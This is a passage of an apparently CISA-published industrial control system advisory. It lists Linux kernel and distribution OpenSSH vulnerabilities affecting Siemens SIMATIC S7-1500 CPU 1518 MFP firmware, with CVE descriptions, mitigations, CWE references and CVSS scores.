<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-71267</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: ntfs3: fix infinite loop triggered by zero-sized ATTR_LIST We found an infinite loop bug in the ntfs3 file system that can lead to a Denial-of-Service (DoS) condition. A malformed NTFS image can cause an infinite loop when an ATTR_LIST attribute indicates a zero data size while the driver allocates memory for it. When ntfs_load_attr_list() processes a resident ATTR_LIST with data_size set to zero, it still allocates memory because of al_aligned(0). This creates an inconsistent state where ni-&gt;attr_list.size is zero, but ni-&gt;attr_list.le is non-null. This causes ni_enum_attr_ex to incorrectly assume that no attribute list exists and enumerates only the primary MFT record. When it finds ATTR_LIST, the code reloads it and restarts the enumeration, repeating indefinitely. The mount operation never completes, hanging the kernel thread. This patch adds validation to ensure that data_size is non-zero before memory allocation. When a zero-sized ATTR_LIST is detected, the function returns -EINVAL, preventing a DoS vulnerability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-71267">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/835.html">CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.6</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-3497</a></h3>
<div class="csaf-accordion-content">
<p>Vulnerability in the OpenSSH GSSAPI delta included in various Linux distributions. This vulnerability affects the GSSAPI patches added by various Linux distributions and does not affect the OpenSSH upstream project itself. The usage of sshpkt_disconnect() on an error, which does not terminate the process, allows an attacker to send an unexpected GSSAPI message type during the GSSAPI key exchange to the server, which will call the underlying function and continue the execution of the program without setting the related connection variables. As the variables are not initialized to NULL the code later accesses those uninitialized variables, accessing random memory, which could lead to undefined behavior. The recommended workaround is to use ssh_packet_disconnect() instead, which does terminate the process. The impact of the vulnerability depends heavily on the compiler flag hardening configuration.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-3497">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: sock: fix hardened usercopy panic in sock_recv_errqueue skbuff_fclone_cache was created without defining a usercopy region, [1] unlike skbuff_head_cache which properly whitelists the cb[] field. [2] This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled and the kernel attempts to copy sk_buff.cb data to userspace via sock_recv_errqueue() -&gt; put_cmsg(). The crash occurs when: 1. TCP allocates an skb using alloc_skb_fclone() (from skbuff_fclone_cache) [1] 2. The skb is cloned via skb_clone() using the pre-allocated fclone [3] 3. The cloned skb is queued to sk_error_queue for timestamp reporting 4. Userspace reads the error queue via recvmsg(MSG_ERRQUEUE) 5. sock_recv_errqueue() calls put_cmsg() to copy serr-&gt;ee from skb-&gt;cb [4] 6. __check_heap_object() fails because skbuff_fclone_cache has no usercopy whitelist [5] When cloned skbs allocated from skbuff_fclone_cache are used in the socket error queue, accessing the sock_exterr_skb structure in skb-&gt;cb via put_cmsg() triggers a usercopy hardening violation: [ 5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)! [ 5.382796] kernel BUG at mm/usercopy.c:102! [ 5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7 [ 5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 5.384903] RIP: 0010:usercopy_abort+0x6c/0x80 [ 5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff &lt;0f&gt; 0b 490 [ 5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246 [ 5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74 [ 5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0 [ 5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74 [ 5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001 [ 5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00 [ 5.384903] FS: 0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000 [ 5.384903] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0 [ 5.384903] PKRU: 55555554 [ 5.384903] Call Trace: [ 5.384903] [ 5.384903] __check_heap_object+0x9a/0xd0 [ 5.384903] __check_object_size+0x46c/0x690 [ 5.384903] put_cmsg+0x129/0x5e0 [ 5.384903] sock_recv_errqueue+0x22f/0x380 [ 5.384903] tls_sw_recvmsg+0x7ed/0x1960 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? schedule+0x6d/0x270 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 [ 5.384903] ? mutex_unlock+0x81/0xd0 [ 5.384903] ? __pfx_mutex_unlock+0x10/0x10 [ 5.384903] ? __pfx_tls_sw_recvmsg+0x10/0x10 [ 5.384903] ? _raw_spin_lock_irqsave+0x8f/0xf0 [ 5.384903] ? _raw_read_unlock_irqrestore+0x20/0x40 [ 5.384903] ? srso_alias_return_thunk+0x5/0xfbef5 The crash offset 296 corresponds to skb2-&gt;cb within skbuff_fclones: - sizeof(struct sk_buff) = 232 - offsetof(struct sk_buff, cb) = 40 - offset of skb2.cb in fclones = 232 + 40 = 272 - crash offset 296 = 272 + 24 (inside sock_exterr_skb.ee) This patch uses a local stack variable as a bounce buffer to avoid the hardened usercopy check failure. [1] https://elixir.bootlin.com/linux/v6.12.62/source/net/ipv4/tcp.c#L885 [2] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5104 [3] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5566 [4] https://elixir.bootlin.com/linux/v6.12.62/source/net/core/skbuff.c#L5491 [5] https://elixir.bootlin.com/linux/v6.12.62/source/mm/slub.c#L5719</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/489.html">CWE-489 Active Debug Code</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22979</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: fix memory leak in skb_segment_list for GRO packets When skb_segment_list() is called during packet forwarding, it handles packets that were aggregated by the GRO engine. Historically, the segmentation logic in skb_segment_list assumes that individual segments are split from a parent SKB and may need to carry their own socket memory accounting. Accordingly, the code transfers truesize from the parent to the newly created segments. Prior to commit ed4cccef64c1 ("gro: fix ownership transfer"), this truesize subtraction in skb_segment_list() was valid because fragments still carry a reference to the original socket. However, commit ed4cccef64c1 ("gro: fix ownership transfer") changed this behavior by ensuring that fraglist entries are explicitly orphaned (skb-&gt;sk = NULL) to prevent illegal orphaning later in the stack. This change meant that the entire socket memory charge remained with the head SKB, but the corresponding accounting logic in skb_segment_list() was never updated. As a result, the current code unconditionally adds each fragment's truesize to delta_truesize and subtracts it from the parent SKB. Since the fragments are no longer charged to the socket, this subtraction results in an effective under-count of memory when the head is freed. This causes sk_wmem_alloc to remain non-zero, preventing socket destruction and leading to a persistent memory leak. The leak can be observed via KMEMLEAK when tearing down the networking environment: unreferenced object 0xffff8881e6eb9100 (size 2048): comm "ping", pid 6720, jiffies 4295492526 backtrace: kmem_cache_alloc_noprof+0x5c6/0x800 sk_prot_alloc+0x5b/0x220 sk_alloc+0x35/0xa00 inet6_create.part.0+0x303/0x10d0 __sock_create+0x248/0x640 __sys_socket+0x11b/0x1d0 Since skb_segment_list() is exclusively used for SKB_GSO_FRAGLIST packets constructed by GRO, the truesize adjustment is removed. The call to skb_release_head_state() must be preserved. As documented in commit cf673ed0e057 ("net: fix fraglist segmentation reference count leak"), it is still required to correctly drop references to SKB extensions that may be overwritten during __copy_skb_header().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22979">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: provide locking for v4_end_grace Writing to v4_end_grace can race with server shutdown and result in memory being accessed after it was freed - reclaim_str_hashtbl in particularly. We cannot hold nfsd_mutex across the nfsd4_end_grace() call as that is held while client_tracking_op-&gt;init() is called and that can wait for an upcall to nfsdcltrack which can write to v4_end_grace, resulting in a deadlock. nfsd4_end_grace() is also called by the landromat work queue and this doesn't require locking as server shutdown will stop the work and wait for it before freeing anything that nfsd4_end_grace() might access. However, we must be sure that writing to v4_end_grace doesn't restart the work item after shutdown has already waited for it. For this we add a new flag protected with nn-&gt;client_lock. It is set only while it is safe to make client tracking calls, and v4_end_grace only schedules work while the flag is set with the spinlock held. So this patch adds a nfsd_net field "client_tracking_active" which is set as described. Another field "grace_end_forced", is set when v4_end_grace is written. After this is set, and providing client_tracking_active is set, the laundromat is scheduled. This "grace_end_forced" field bypasses other checks for whether the grace period has finished. This resolves a race which can result in use-after-free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22982</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: mscc: ocelot: Fix crash when adding interface under a lag Commit 15faa1f67ab4 ("lan966x: Fix crash when adding interface under a lag") fixed a similar issue in the lan966x driver caused by a NULL pointer dereference. The ocelot_set_aggr_pgids() function in the ocelot driver has similar logic and is susceptible to the same crash. This issue specifically affects the ocelot_vsc7514.c frontend, which leaves unused ports as NULL pointers. The felix_vsc9959.c frontend is unaffected as it uses the DSA framework which registers all ports. Fix this by checking if the port pointer is valid before accessing it.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22982">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22992</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: libceph: return the handler error from mon_handle_auth_done() Currently any error from ceph_auth_handle_reply_done() is propagated via finish_auth() but isn't returned from mon_handle_auth_done(). This results in higher layers learning that (despite the monitor considering us to be successfully authenticated) something went wrong in the authentication phase and reacting accordingly, but msgr2 still trying to proceed with establishing the session in the background. In the case of secure mode this can trigger a WARN in setup_crypto() and later lead to a NULL pointer dereference inside of prepare_auth_signature().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22992">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/252.html">CWE-252 Unchecked Return Value</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-22994</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix reference count leak in bpf_prog_test_run_xdp() syzbot is reporting unregister_netdevice: waiting for sit0 to become free. Usage count = 2 problem. A debug printk() patch found that a refcount is obtained at xdp_convert_md_to_buff() from bpf_prog_test_run_xdp(). According to commit ec94670fcb3b ("bpf: Support specifying ingress via xdp_md context in BPF_PROG_TEST_RUN"), the refcount obtained by xdp_convert_md_to_buff() will be released by xdp_convert_buff_to_md(). Therefore, we can consider that the error handling path introduced by commit 1c1949982524 ("bpf: introduce frags support to bpf_prog_test_run_xdp()") forgot to call xdp_convert_buff_to_md().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-22994">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
